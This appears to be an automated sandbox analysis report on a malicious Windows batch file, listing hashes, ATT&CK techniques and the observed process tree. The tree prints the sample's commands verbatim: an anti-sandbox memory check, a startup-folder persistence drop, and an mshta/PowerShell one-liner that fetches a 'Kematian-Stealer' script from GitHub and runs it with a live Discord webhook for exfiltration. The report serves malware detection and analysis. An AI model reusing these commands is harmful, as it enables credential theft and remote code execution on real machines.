cedcf8eff1d8a8d3dfe2b7ee82ed1ac8a1f7e1900a1b3a792ecefa446de4d144

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
05/07/2024, 01:01

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General

Target

84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat
Size

3.4MB
MD5

07f9549ba0e65bb2bd47fcf55c60a608
SHA1

50f97f17245b1967ae322f5a72f48184db4932fa
SHA256

84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36
SHA512

d9c2e350d2e963b64c6da7519cdbf15a56a61131098d608721d2e0773e6632b4cb89b90165b212b83b271b5f136539dfe3586dbeef8db6bedc0d358b8d02cd41
SSDEEP

1536:r9M37hEimNW4QbAjC5SMd0aF00kd5Regk1IcIoJkFVcKaoowmgd27/:IENXCbiae0kjRep6VcEo/gUT

Score

7^/10

defense_evasion

Malware Config

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2148	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2148	powershell.exe
2568	powershell.exe
1956	powershell.exe
308	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	308	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 328 wrote to memory of 1320	328	cmd.exe	29
PID 328 wrote to memory of 1320	328	cmd.exe	29
PID 328 wrote to memory of 1320	328	cmd.exe	29
PID 328 wrote to memory of 2148	328	cmd.exe	30
PID 328 wrote to memory of 2148	328	cmd.exe	30
PID 328 wrote to memory of 2148	328	cmd.exe	30
PID 328 wrote to memory of 2728	328	cmd.exe	31
PID 328 wrote to memory of 2728	328	cmd.exe	31
PID 328 wrote to memory of 2728	328	cmd.exe	31
PID 328 wrote to memory of 2628	328	cmd.exe	32
PID 328 wrote to memory of 2628	328	cmd.exe	32
PID 328 wrote to memory of 2628	328	cmd.exe	32
PID 328 wrote to memory of 2544	328	cmd.exe	33
PID 328 wrote to memory of 2544	328	cmd.exe	33
PID 328 wrote to memory of 2544	328	cmd.exe	33
PID 328 wrote to memory of 2528	328	cmd.exe	34
PID 328 wrote to memory of 2528	328	cmd.exe	34
PID 328 wrote to memory of 2528	328	cmd.exe	34
PID 328 wrote to memory of 2568	328	cmd.exe	35
PID 328 wrote to memory of 2568	328	cmd.exe	35
PID 328 wrote to memory of 2568	328	cmd.exe	35
PID 328 wrote to memory of 1956	328	cmd.exe	36
PID 328 wrote to memory of 1956	328	cmd.exe	36
PID 328 wrote to memory of 1956	328	cmd.exe	36
PID 328 wrote to memory of 2856	328	cmd.exe	37
PID 328 wrote to memory of 2856	328	cmd.exe	37
PID 328 wrote to memory of 2856	328	cmd.exe	37
PID 328 wrote to memory of 2936	328	cmd.exe	38
PID 328 wrote to memory of 2936	328	cmd.exe	38
PID 328 wrote to memory of 2936	328	cmd.exe	38
PID 2936 wrote to memory of 2980	2936	net.exe	39
PID 2936 wrote to memory of 2980	2936	net.exe	39
PID 2936 wrote to memory of 2980	2936	net.exe	39
PID 328 wrote to memory of 760	328	cmd.exe	40
PID 328 wrote to memory of 760	328	cmd.exe	40
PID 328 wrote to memory of 760	328	cmd.exe	40
PID 760 wrote to memory of 308	760	mshta.exe	41
PID 760 wrote to memory of 308	760	mshta.exe	41
PID 760 wrote to memory of 308	760	mshta.exe	41

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:328
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat"
  2⤵
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat"
  2⤵
  PID:2728
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat"
  2⤵
  PID:2628
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2544
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\84617e9c081b6b585582d2589aace5a0a7887283f9488b5a6d05906f94116f36.bat"
  2⤵
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -c "Write-Host -NoNewLine $null"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -c "Write-Host -NoNewLine $null"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- C:\Windows\system32\rundll32.exe
  rundll32
  2⤵
  PID:2856
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2980
- C:\Windows\system32\mshta.exe
  mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1245964468803076146/sUQk99W99wQnOZBfrCW8tRsn0TetpTuD0yNK0N7xwUeiPnwMv6HDm9VYbCjVT-FA2zdw' | iex",0))
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1245964468803076146/sUQk99W99wQnOZBfrCW8tRsn0TetpTuD0yNK0N7xwUeiPnwMv6HDm9VYbCjVT-FA2zdw' | iex
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\kdotzASik.bat

Filesize
231B

MD5
1fdf1ddeddb7b144e8f93262144a56d1

SHA1
cfcd1c4ebcf5e83a583ac8688aa5062abf57c8d1

SHA256
c71e50112a771b021417874d43158b7f2edb7c6f17102898c9015cef675e8917

SHA512
91ab8c53c36af4f34db66a4f26261e2dd92d9b2519291380f9a07aaa00a820788342314ea623dfae2c1dd55627c89e732a366a85086326ca3b04893cb4f626d5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b4bdfec1daf86cf76948034b7b15c517

SHA1
fc0160fb6ea409a3e1a3024be85aabe703c2f664

SHA256
143e49d8e51427180878a8713bd6849b1b52d882b36c7e34e9cf255adf092b75

SHA512
4c3deb6817df02ce532518314812745521f6890db54a0c559add8e05fd54022dd8a7692683371d4ac613999b6975bab0781781dccdc4975fc1f4bd45f53397da

Download Submit
memory/2148-20-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-18-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-19-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-17-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2148-21-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-22-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-23-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-16-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2148-15-0x000007FEF62CE000-0x000007FEF62CF000-memory.dmp

Filesize
4KB

Download
memory/2568-62-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2568-63-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download